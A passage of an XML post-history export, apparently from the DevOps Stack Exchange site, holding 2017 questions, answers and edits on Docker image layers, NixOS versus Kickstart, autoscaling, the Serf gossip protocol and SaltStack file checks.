  <row Id="5528" PostHistoryTypeId="2" PostId="1751" RevisionGUID="d6746e85-dd93-4d91-94c1-f74fdd3deffd" CreationDate="2017-08-14T15:23:58.050" UserId="210" Text="Some articles, including [this one][1] give some arguments why docker is popular:&#xD;&#xA;&#xD;&#xA;&gt; In a nutshell, here's what Docker can do for you: It can get more&#xD;&#xA;&gt; applications running on the same hardware than other technologies; it&#xD;&#xA;&gt; makes it easy for developers to quickly create ready-to-run&#xD;&#xA;&gt; containered applications; and it makes managing and deploying&#xD;&#xA;&gt; applications much easier. Put it all together and I can see why Docker&#xD;&#xA;&gt; is riding the hype cycle as fast as I can recall ever seeing an&#xD;&#xA;&gt; enterprise technology go.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Moreover, for once the reality is living up to the hype. Frankly, I&#xD;&#xA;&gt; can't think of a single company of any size that's not at least&#xD;&#xA;&gt; looking into moving their server applications to containers in general&#xD;&#xA;&gt; and Docker in specific.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My personal view is that a tool could be successful if it will solve a (major) problem. For example, a half year ago I gave a presentation of docker in the company, the developers had some doubts until they experienced a issue that it was not possible to run all microservices on their local machine.&#xD;&#xA;&#xD;&#xA;The same is applicable to the question: &#xD;&#xA;&#xD;&#xA;&gt; Are NixOS and GuixSD the incoming Linux distros of DevOps?&#xD;&#xA;&#xD;&#xA;It depends whether these distributions will solve a huge problem. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zdnet.com/article/what-is-docker-and-why-is-it-so-darn-popular/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5529" PostHistoryTypeId="2" PostId="1752" RevisionGUID="364d7678-b112-4717-b272-b64eafa27efe" CreationDate="2017-08-14T15:26:33.373" UserId="210" Text="The `RUN` statements represent each one layer. Imagine that one downloads a package, installs it and would like to remove it. If one uses three `RUN` statements then the image size will not shrink as there are separate layers. If one runs all the commands using one `RUN` statement the disk image size could be reduced." ContentLicense="CC BY-SA 3.0" />
  <row Id="5530" PostHistoryTypeId="2" PostId="1753" RevisionGUID="775c9b56-ecee-4222-bba0-3fe382796f02" CreationDate="2017-08-14T15:31:54.450" UserId="3533" Text="Each instruction you create in your Dockerfile results in a new image layer being created. Each layer brings additional data that are not always part of the resulting image. For example, if you add a file in one layer, but remove it in another layer later, the final image’s size will include the added file size in a form of a special &quot;whiteout&quot; file although you removed it.&#xD;&#xA;&#xD;&#xA;Let's say you have the following Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM centos:6&#xD;&#xA;    &#xD;&#xA;    RUN yum -y update &#xD;&#xA;    RUN yum -y install epel-release&#xD;&#xA;&#xD;&#xA;The resulting image size will be&#xD;&#xA;&#xD;&#xA;    bigimage     latest        3c5cbfbb4116        2 minutes ago    407MB&#xD;&#xA;&#xD;&#xA;As opposite, with &quot;similar&quot; Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM centos:6&#xD;&#xA;    &#xD;&#xA;    RUN yum -y update  &amp;&amp; yum -y install epel-release&#xD;&#xA;&#xD;&#xA;The resulting image size will be&#xD;&#xA;&#xD;&#xA;    smallimage     latest        7edeafc01ffe        3 minutes ago    384MB&#xD;&#xA;&#xD;&#xA;You will get even smaller size, if you clean the yum cache in a single RUN statement.&#xD;&#xA;&#xD;&#xA;So you want to keep balance between readability/easy of maintenance and number of layers/image size." ContentLicense="CC BY-SA 3.0" />
  <row Id="5531" PostHistoryTypeId="5" PostId="1751" RevisionGUID="77bafdc3-4549-4f42-a3a9-2853f474df81" CreationDate="2017-08-14T15:49:57.973" UserId="210" Comment="added 2 characters in body" Text="Some articles, including [this one][1] give some arguments why docker is popular:&#xD;&#xA;&#xD;&#xA;&gt; In a nutshell, here's what Docker can do for you: It can get more&#xD;&#xA;&gt; applications running on the same hardware than other technologies; it&#xD;&#xA;&gt; makes it easy for developers to quickly create ready-to-run&#xD;&#xA;&gt; containered applications; and it makes managing and deploying&#xD;&#xA;&gt; applications much easier. Put it all together and I can see why Docker&#xD;&#xA;&gt; is riding the hype cycle as fast as I can recall ever seeing an&#xD;&#xA;&gt; enterprise technology go.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Moreover, for once the reality is living up to the hype. Frankly, I&#xD;&#xA;&gt; can't think of a single company of any size that's not at least&#xD;&#xA;&gt; looking into moving their server applications to containers in general&#xD;&#xA;&gt; and Docker in specific.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My personal view is that a tool could be successful if it will solve a (major) problem. For example, a half year ago I gave a presentation of docker in the company, the developers had some doubts until they experienced a issue that it was not possible to run all microservices on their local machine.&#xD;&#xA;&#xD;&#xA;The same is applicable to the question: &#xD;&#xA;&#xD;&#xA;&gt; Are NixOS and GuixSD the incoming Linux distros of DevOps?&#xD;&#xA;&#xD;&#xA;It depends whether these distributions will solve a (huge) problem. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zdnet.com/article/what-is-docker-and-why-is-it-so-darn-popular/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5532" PostHistoryTypeId="2" PostId="1754" RevisionGUID="06cb9863-50c2-49f0-9a83-352d8792231f" CreationDate="2017-08-14T15:53:42.790" UserId="47" Text="Probably not the answer that you're looking for, but an answer nonetheless :) &#xD;&#xA;&#xD;&#xA;Learning about docker and its deployment methods could actually be included in the business requirements by making it part of the project or team development environment, just like the code language(s), version control system, compilers, test infrastructure, etc - to work in that team or on that project one needs to know about and use all of these, can't &quot;bring your own&quot; (in most cases).&#xD;&#xA;&#xD;&#xA;Things get a bit more complicated if by &quot;a developer&quot; you actually mean the majority of or even entire development team. Pushing a tool in the development environment without actually having any of the developers supporting it will be really tough. Spend the time to create one such supporter first from the team's technical leadership.&#xD;&#xA;&#xD;&#xA;Side note: it *might* also not be necessary for each and every developer in the team to become a docker expert. Pre-established usage recipes wrapped in simple, cheatsheet-ready commands often allow developers to use docker-based solutions without actually knowing too much about their inner workings, which could be fairly acceptable, especially in large teams. Just like being able to contribute code without knowing all the details about how the end-product is being built." ContentLicense="CC BY-SA 3.0" />
  <row Id="5533" PostHistoryTypeId="2" PostId="1755" RevisionGUID="4796ab34-e8b0-4984-99c8-243873dcd4bd" CreationDate="2017-08-14T16:00:42.640" UserId="271" Text="A docker image is actually a linked list of filesystem layers. Each instruction in a *Dockerfile* creates a filesystem layer that describes the differences in the filesystem before and after execution of the corresponding instruction. The `docker inspect` subcommand can be used on a docker image to reveal its nature of being a linked list of filesystem layers.&#xD;&#xA;&#xD;&#xA;The number of layers used in an image is important&#xD;&#xA;&#xD;&#xA;* when pushing or pulling images, as it affects the number of concurrent uploads or downloads occuring.&#xD;&#xA;* when starting a container, as the layers are combined together to produce the filesystem used in the container; the more layers are involved, the worse the performance is, but the different filesystem backends are affected differently by this.&#xD;&#xA;&#xD;&#xA;This has several consequences for how images should be built. The first and most important advice I can give is:&#xD;&#xA;&#xD;&#xA;&gt; **Advice #1** Make sure that the build steps where your source code is involved comes as late as possible in the *Dockerfile* and are not tied to previous commands using a `&amp;&amp;` or a `;`.&#xD;&#xA;&#xD;&#xA;The reason for this, is that all the previous steps will be cached and the corresponding layers will not need to be downloaded over and over again. This means faster builds and faster releases, which is probably what you want.  Interestingly enough, it is surprisingly hard to make optimal use of the docker cache.&#xD;&#xA;&#xD;&#xA;My second advice is less important but I find it very useful from a maintenance view point:&#xD;&#xA;&#xD;&#xA;&gt; **Advice #2** Do not write complex commands in the *Dockerfile* but rather use scripts that are to be copied and executed.&#xD;&#xA;&#xD;&#xA;A *Dockerfile* following this advice would look like&#xD;&#xA;&#xD;&#xA;    COPY apt_setup.sh /root/&#xD;&#xA;    RUN sh -x /root/apt_setup.sh&#xD;&#xA;    COPY install_pacakges.sh /root/&#xD;&#xA;    RUN sh -x /root/install_packages.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and so on.  The advice of binding several commands with `&amp;&amp;` has only a limited scope. It is much easier to write with scripts, where you can use functions, etc. to avoid redundancy or for documentation purposes.&#xD;&#xA;&#xD;&#xA;People interested by pre-processors and willing to avoid the small overhead caused by the `COPY` steps and are actually generating on-the-fly a *Dockerfile* where the&#xD;&#xA;&#xD;&#xA;    COPY apt_setup.sh /root/&#xD;&#xA;    RUN sh -x /root/apt_setup.sh&#xD;&#xA;&#xD;&#xA;sequences are replaced by&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RUN base64 --decode … | sh -x&#xD;&#xA;&#xD;&#xA;where the `…` is the base64-encoded version of `apt_setup.sh`.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5534" PostHistoryTypeId="2" PostId="1756" RevisionGUID="82988977-f0b6-4372-adcb-fcba9ace7f70" CreationDate="2017-08-14T16:32:15.963" UserId="3914" Text="You could isolate the roles and run just them, you can generate a static inventory list before you run the particular role(and it's associated task).&#xD;&#xA;&#xD;&#xA;Make sure that the task doesn't have a whole lot of inheriting/dependant roles. As 030 mentioned, it might be a good idea to implement some kind of way to semantically separate the roles." ContentLicense="CC BY-SA 3.0" />
  <row Id="5535" PostHistoryTypeId="2" PostId="1757" RevisionGUID="f469b720-fd4e-437f-94f1-b86297139457" CreationDate="2017-08-14T16:47:09.303" UserId="2845" Text="[NixOS and GuixSD both bill themselves as &quot;declarative&quot; and DevOps-friendly.](https://devops.stackexchange.com/questions/1749/are-nixos-and-guixsd-the-incoming-linux-distros-of-devops) How and in what ways are these declarative distros different than Kickstart and/or a Linux distro managed by a configuration management tool?&#xD;&#xA;&#xD;&#xA;What advantages and/or disadvantages are there to this style of declarative linux configuration as opposed to these currently existing technologies?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5536" PostHistoryTypeId="1" PostId="1757" RevisionGUID="f469b720-fd4e-437f-94f1-b86297139457" CreationDate="2017-08-14T16:47:09.303" UserId="2845" Text="How are declarative distros different than Kickstart?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5537" PostHistoryTypeId="3" PostId="1757" RevisionGUID="f469b720-fd4e-437f-94f1-b86297139457" CreationDate="2017-08-14T16:47:09.303" UserId="2845" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5538" PostHistoryTypeId="4" PostId="1750" RevisionGUID="85de78cf-1144-4abe-b84b-5768896dec91" CreationDate="2017-08-14T16:56:38.520" UserId="60" Comment="edited title" Text="Understanding Docker layers" ContentLicense="CC BY-SA 3.0" />
  <row Id="5539" PostHistoryTypeId="2" PostId="1758" RevisionGUID="e439fd09-ca59-4a7c-8a25-b042aec8959a" CreationDate="2017-08-14T17:05:13.597" UserId="210" Text="**Pros:**&#xD;&#xA;&#xD;&#xA; 1. No configuration management tools like puppet, chef, salt or ansible needed&#xD;&#xA;&#xD;&#xA;**Cons:**&#xD;&#xA;&#xD;&#xA; 1. **Dependent:** If one has written a lot of [NixOps][1] files and one decides to go to another provider then one has to rewrite all the provision scripts, while a tool like terraform is cloud agnostic&#xD;&#xA; 2. No autoscaling like docker&#xD;&#xA; 3. Promotion of silos, e.g. `DevOps friendly`. In my opinion dev should release software as well. Now one could just use docker that they use in development as well.&#xD;&#xA;&#xD;&#xA;  [1]: https://nixos.org/nixops/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5540" PostHistoryTypeId="2" PostId="1759" RevisionGUID="43726123-f9be-437b-9795-7b5dc3986c78" CreationDate="2017-08-14T17:27:30.807" UserId="47" Text="AFAIK Kickstart is only usable for the initial installation of the OS, but not for subsequent package maintenance upgrades/downgrades.&#xD;&#xA;&#xD;&#xA;Unless I miss something (quite possible, I don't have much experience w/ them) the Linux distros managed by configuration management tools require a minimum level of health from the OS (and some package requirements, at least in some cases) to be able to operate those tools, say to perform a rollback. At least NixOS appears to not have such requirement (or rather it is already fullfilled at the OS level). From [About NixOS][1]:&#xD;&#xA;&#xD;&#xA;&gt; Rollbacks&#xD;&#xA;&gt; &#xD;&#xA;&gt; Because the files of a new configuration don’t overwrite old ones, you&#xD;&#xA;&gt; can (atomically) roll back to a previous configuration. For instance,&#xD;&#xA;&gt; if after a nixos-rebuild switch you discover that you don’t like the&#xD;&#xA;&gt; new configuration, you can just go back:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ nixos-rebuild switch --rollback&#xD;&#xA;&gt; &#xD;&#xA;&gt; In fact, all old system configurations automatically show up in the&#xD;&#xA;&gt; [Grub boot menu][2]. So if the new configuration crashes or doesn’t&#xD;&#xA;&gt; boot properly, you can just roll back by selecting an older&#xD;&#xA;&gt; configuration in the Grub boot menu. Rollbacks are very fast: it&#xD;&#xA;&gt; doesn’t involve lots of files having to be restored from copies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nixos.org/nixos/about.html&#xD;&#xA;  [2]: https://nixos.org/nixos/screenshots/nixos-grub.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="5541" PostHistoryTypeId="2" PostId="1760" RevisionGUID="b91d6e0d-968b-49bd-8f06-251cd359bf72" CreationDate="2017-08-15T07:42:55.267" UserId="210" Text="[Autoscaling][1] means that the number of instances increases if the load intensifies. Docker is used in for example Kubernetes in order to autoscale. Are distributed distributions like NixOS suitable candidates for autoscaling as well?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/autoscaling/latest/userguide/WhatIsAutoScaling.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5542" PostHistoryTypeId="1" PostId="1760" RevisionGUID="b91d6e0d-968b-49bd-8f06-251cd359bf72" CreationDate="2017-08-15T07:42:55.267" UserId="210" Text="Are distributed distributions like NixOS able to replace docker in terms of autoscaling?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5543" PostHistoryTypeId="3" PostId="1760" RevisionGUID="b91d6e0d-968b-49bd-8f06-251cd359bf72" CreationDate="2017-08-15T07:42:55.267" UserId="210" Text="&lt;autoscaling&gt;&lt;nixos&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5544" PostHistoryTypeId="6" PostId="1749" RevisionGUID="908bb339-8f4c-4df9-980f-4be1e65edee6" CreationDate="2017-08-15T07:43:31.973" UserId="210" Comment="edited tags" Text="&lt;linux&gt;&lt;configuration-management&gt;&lt;nixos&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5545" PostHistoryTypeId="2" PostId="1761" RevisionGUID="a408bd11-c3bb-4aa6-8dc2-a0a8f139d580" CreationDate="2017-08-15T09:19:04.003" UserId="3939" Text="Autoscaling has nothing to do with NixOS or Docker. This is just the feature of cloud backed applications.&#xD;&#xA;&#xD;&#xA;However it is true that the best results are achievable using immutable infrastructure, however you do not need neither of these tools to achieve such. Instead you can build your own AMI (using Packer) and then use AWS CodeDeploy to deploy your application on each of the instances.&#xD;&#xA;&#xD;&#xA;These tools are orthogonal, so you can use them, but there is no problem with using autoscaling without them." ContentLicense="CC BY-SA 3.0" />
  <row Id="5546" PostHistoryTypeId="2" PostId="1762" RevisionGUID="c470519c-c1e8-4af1-b543-b92cffb53257" CreationDate="2017-08-15T09:26:52.307" UserId="3055" Text="I asked a question recently regarding the most efficient and scalable way to check which files/services exist in multiple environments. Thanks to an answer I have successfully set up roles for all of my salt minions.&#xD;&#xA;&#xD;&#xA;I am now in the process of writing my first salt state which will check that all expected files/services are present for all minions with the 'apiserver' role. I am using the 'file.exists' feature, however as you can expect there are 100's of files/services I wish to check, I'm sure there must be a way of listing these files/services in a list or string? I can't find anything in the documentation under file.exists but it is possible in other file.&lt;method&gt;'s&#xD;&#xA;&#xD;&#xA;Any help/guidance would be appreciated." ContentLicense="CC BY-SA 3.0" />
  <row Id="5547" PostHistoryTypeId="1" PostId="1762" RevisionGUID="c470519c-c1e8-4af1-b543-b92cffb53257" CreationDate="2017-08-15T09:26:52.307" UserId="3055" Text="Is it possible to use a list with 'file.exists' in Salt?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5548" PostHistoryTypeId="3" PostId="1762" RevisionGUID="c470519c-c1e8-4af1-b543-b92cffb53257" CreationDate="2017-08-15T09:26:52.307" UserId="3055" Text="&lt;configuration-management&gt;&lt;salt&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5549" PostHistoryTypeId="5" PostId="1762" RevisionGUID="ab3aec6e-7b56-406a-b16a-96be9e690474" CreationDate="2017-08-15T09:30:30.873" UserId="210" Comment="deleted 43 characters in body" Text="I asked a question recently regarding the most efficient and scalable way to check which files/services exist in multiple environments. Thanks to an answer I have successfully set up roles for all of my salt minions.&#xD;&#xA;&#xD;&#xA;I am now in the process of writing my first salt state which will check that all expected files/services are present for all minions with the 'apiserver' role. I am using the 'file.exists' feature, however as you can expect there are 100's of files/services I wish to check, I'm sure there must be a way of listing these files/services in a list or string? I can't find anything in the documentation under file.exists but it is possible in other file.&lt;method&gt;'s" ContentLicense="CC BY-SA 3.0" />
  <row Id="5550" PostHistoryTypeId="2" PostId="1763" RevisionGUID="4bc5822e-c87f-4b71-a364-7424a0412397" CreationDate="2017-08-15T09:41:09.353" UserId="3939" Text="Serf is gossip protocol implementation and has absolutely nothing to do with orchestration tools like k8s. Even if such protocol is used internally, then in most cases it isn't available for you applications running in given orchestrator.&#xD;&#xA;&#xD;&#xA;So if your app or workflow depends on gossip protocol, then you will have use out of Serf, otherwise there is no point.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;[Gossip protocol](https://en.wikipedia.org/wiki/Gossip_protocol) is way of messaging to all nodes without:&#xD;&#xA;&#xD;&#xA;- Centralized point of knowledge&#xD;&#xA;- Single point of failure&#xD;&#xA;- Using whole network capability of any of the nodes&#xD;&#xA;&#xD;&#xA;In simple words it works like &quot;message chains&quot; (&quot;If you do not send this to N people you will never find your love&quot; or something like that).&#xD;&#xA;&#xD;&#xA; 1. One node send notification to N out of M of its fellows&#xD;&#xA; 2. If you receive message that you have already received, then do nothing.&#xD;&#xA; 3. Otherwise go to step 1.&#xD;&#xA;&#xD;&#xA;Given such simple protocol you can calculate probability when all your nodes will receive message with 99% chance." ContentLicense="CC BY-SA 3.0" />
  <row Id="5551" PostHistoryTypeId="5" PostId="1762" RevisionGUID="e5a59ec5-4439-467e-8780-3dcf1e34b243" CreationDate="2017-08-15T11:07:22.953" UserId="3055" Comment="added 952 characters in body" Text="I asked a question recently regarding the most efficient and scalable way to check which files/services exist in multiple environments. Thanks to an answer I have successfully set up roles for all of my salt minions.&#xD;&#xA;&#xD;&#xA;I am now in the process of writing my first salt state which will check that all expected files/services are present for all minions with the 'apiserver' role. I am using the 'file.exists' feature, however as you can expect there are 100's of files/services I wish to check, I'm sure there must be a way of listing these files/services in a list or string? I can't find anything in the documentation under file.exists but it is possible in other file.&lt;method&gt;'s&#xD;&#xA;&#xD;&#xA;Here is the current state of my init.sls file:&#xD;&#xA;&#xD;&#xA;    # This state will check all minions identified as 'apiserver' for files and/or services which should exist&#xD;&#xA;&#xD;&#xA;# This section checks the 'checkservices.sh' is present in /opt (used for Jenkins check jobs)&#xD;&#xA;&#xD;&#xA;    checkservices.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/checkservices.sh&#xD;&#xA;&#xD;&#xA;# This section checks for expected files/scripts within /opt/apiv2/&#xD;&#xA;&#xD;&#xA;    apiv2.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/apiv2.properties&#xD;&#xA;&#xD;&#xA;    jvm.options:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/jvm.options&#xD;&#xA;&#xD;&#xA;    restart.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/restart.sh&#xD;&#xA;&#xD;&#xA;    status.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/status.sh&#xD;&#xA;&#xD;&#xA;    shutdown.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/shutdown.sh&#xD;&#xA;&#xD;&#xA;    start.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/start.sh&#xD;&#xA;&#xD;&#xA;# This section checks for 'bootstrap.jar' in /opt/apiv2/repo/&#xD;&#xA;&#xD;&#xA;    bootstrap.jar:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/repo/bootstrap.jar" ContentLicense="CC BY-SA 3.0" />
  <row Id="5552" PostHistoryTypeId="5" PostId="1762" RevisionGUID="92c325ac-5284-4bb8-8a77-18c5c3fa4087" CreationDate="2017-08-15T14:14:21.293" UserId="60" Comment="Improved formatting" Text="I asked a question recently regarding the most efficient and scalable way to check which files/services exist in multiple environments. Thanks to an answer I have successfully set up roles for all of my salt minions.&#xD;&#xA;&#xD;&#xA;I am now in the process of writing my first salt state which will check that all expected files/services are present for all minions with the `apiserver` role. &#xD;&#xA;&#xD;&#xA;I am using the `file.exists` feature, however as you can expect there are 100's of files/services I wish to check, I'm sure there must be a way of listing these files/services in a list or string? I can't find anything in the documentation under file.exists but it is possible in other file.&lt;method&gt;'s&#xD;&#xA;&#xD;&#xA;Here is the current state of my `init.sls` file:&#xD;&#xA;&#xD;&#xA;    # This state will check all minions identified as 'apiserver' for files and/or services which should exist&#xD;&#xA;&#xD;&#xA;    # This section checks the 'checkservices.sh' is present in /opt (used for Jenkins check jobs)&#xD;&#xA;&#xD;&#xA;    checkservices.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/checkservices.sh&#xD;&#xA;&#xD;&#xA;    # This section checks for expected files/scripts within /opt/apiv2/&#xD;&#xA;&#xD;&#xA;    apiv2.properties:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/apiv2.properties&#xD;&#xA;&#xD;&#xA;    jvm.options:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/jvm.options&#xD;&#xA;&#xD;&#xA;    restart.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/restart.sh&#xD;&#xA;&#xD;&#xA;    status.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/status.sh&#xD;&#xA;&#xD;&#xA;    shutdown.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/shutdown.sh&#xD;&#xA;&#xD;&#xA;    start.sh:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/start.sh&#xD;&#xA;&#xD;&#xA;    # This section checks for 'bootstrap.jar' in /opt/apiv2/repo/&#xD;&#xA;&#xD;&#xA;    bootstrap.jar:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/apiv2/repo/bootstrap.jar" ContentLicense="CC BY-SA 3.0" />
  <row Id="5553" PostHistoryTypeId="24" PostId="1762" RevisionGUID="92c325ac-5284-4bb8-8a77-18c5c3fa4087" CreationDate="2017-08-15T14:14:21.293" Comment="Proposed by 60 approved by 3055 edit id of 400" ContentLicense="CC BY-SA 3.0" />
  <row Id="5554" PostHistoryTypeId="2" PostId="1764" RevisionGUID="2fa70a75-2250-46af-bc37-044b22da2f92" CreationDate="2017-08-15T15:43:03.597" UserId="2845" Text="Yes - there are at least two options available for managing files in the manner you describe. The first such way is to manage the entire directory using [file.directory](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.directory):&#xD;&#xA;&#xD;&#xA;    /opt/apiv2:&#xD;&#xA;      file.directory:&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - dir_mode: 755&#xD;&#xA;        - file_mode: 644&#xD;&#xA;        - recurse:&#xD;&#xA;          - user&#xD;&#xA;          - group&#xD;&#xA;          - mode&#xD;&#xA;&#xD;&#xA;The second way can manage a manifest of several files at many paths is to use the `source_hash` feature of [file.managed](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.managed):&#xD;&#xA;&#xD;&#xA;This allows you to provide a source tar file and a file containing md5sum hashes:&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.tar.gz&#xD;&#xA;&#xD;&#xA;You would then create on your salt server /srv/salt/apiv2/distrib/manifest-0.7.3.tar.gz with contents similar to:&#xD;&#xA;&#xD;&#xA;    37b51d194a7513e45b56f6524f2d51f2    /opt/apiv2/apiv2.properties&#xD;&#xA;    acbd18db4cc2f85cedef654fccc4a4d8    /opt/apiv2/repo/bootstrap.jar&#xD;&#xA;    73feffa4b7f6bb68e44cf984c85f6e88    /opt/apiv1/apiv1.properties&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your *might* even be able to use templating,&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.tar.gz&#xD;&#xA;        - template: jinja&#xD;&#xA;&#xD;&#xA;however Salt Stack might want to push down the file each time because after the templates are rendered, the hash will have changed, so the creators might just have elected to throw an error if you try these two features together. In short, Your Mileage May Vary&lt;sup&gt;TM&lt;/sup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5555" PostHistoryTypeId="5" PostId="1764" RevisionGUID="f5176744-133b-461b-a2a1-b5c0dedff746" CreationDate="2017-08-15T18:26:16.187" UserId="2845" Comment="Fixing extension and making it clear it is a flat file" Text="Yes - there are at least two options available for managing files in the manner you describe. The first such way is to manage the entire directory using [file.directory](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.directory):&#xD;&#xA;&#xD;&#xA;    /opt/apiv2:&#xD;&#xA;      file.directory:&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - dir_mode: 755&#xD;&#xA;        - file_mode: 644&#xD;&#xA;        - recurse:&#xD;&#xA;          - user&#xD;&#xA;          - group&#xD;&#xA;          - mode&#xD;&#xA;&#xD;&#xA;The second way can manage a manifest of several files at many paths is to use the `source_hash` feature of [file.managed](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.managed):&#xD;&#xA;&#xD;&#xA;This allows you to provide a source tar file and a file containing md5sum hashes:&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.tar.gz&#xD;&#xA;&#xD;&#xA;You would then create a text file on your salt server /srv/salt/apiv2/distrib/manifest-0.7.3.hash with contents similar to:&#xD;&#xA;&#xD;&#xA;    37b51d194a7513e45b56f6524f2d51f2    /opt/apiv2/apiv2.properties&#xD;&#xA;    acbd18db4cc2f85cedef654fccc4a4d8    /opt/apiv2/repo/bootstrap.jar&#xD;&#xA;    73feffa4b7f6bb68e44cf984c85f6e88    /opt/apiv1/apiv1.properties&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your *might* even be able to use templating,&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.hash&#xD;&#xA;        - template: jinja&#xD;&#xA;&#xD;&#xA;however Salt Stack might want to push down the file each time because after the templates are rendered, the hash will have changed, so the creators might just have elected to throw an error if you try these two features together. In short, Your Mileage May Vary&lt;sup&gt;TM&lt;/sup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5556" PostHistoryTypeId="5" PostId="1764" RevisionGUID="fd4dea65-eacc-430d-a1d2-8431bd23760a" CreationDate="2017-08-15T19:46:16.763" UserId="739" Comment="formatting and copy edit" Text="Yes - there are at least two options available for managing files in the manner you describe. The first such way is to manage the entire directory using [file.directory](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.directory):&#xD;&#xA;&#xD;&#xA;    /opt/apiv2:&#xD;&#xA;      file.directory:&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - dir_mode: 755&#xD;&#xA;        - file_mode: 644&#xD;&#xA;        - recurse:&#xD;&#xA;          - user&#xD;&#xA;          - group&#xD;&#xA;          - mode&#xD;&#xA;&#xD;&#xA;The second way can manage a manifest of several files at many paths is to use the `source_hash` feature of [file.managed](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.file.html#salt.states.file.managed):&#xD;&#xA;&#xD;&#xA;This allows you to provide a source tar file and a file containing md5sum hashes:&#xD;&#xA;&#xD;&#xA;    apiv2-0.7.3.tar.gz:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /tmp/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source: salt:///apiv2/distrib/apiv2-0.7.3.tar.gz&#xD;&#xA;        - source_hash: salt:///apiv2/distrib/manifest-0.7.3.hash&#xD;&#xA;&#xD;&#xA;You would then create a text file on your salt server `/srv/salt/apiv2/distrib/manifest-0.7.3.hash` with contents similar to:&#xD;&#xA;&#xD;&#xA;    37b51d194a7513e45b56f6524f2d51f2    /opt/apiv2/apiv2.properties&#xD;&#xA;    acbd18db4cc2f85cedef654fccc4a4d8    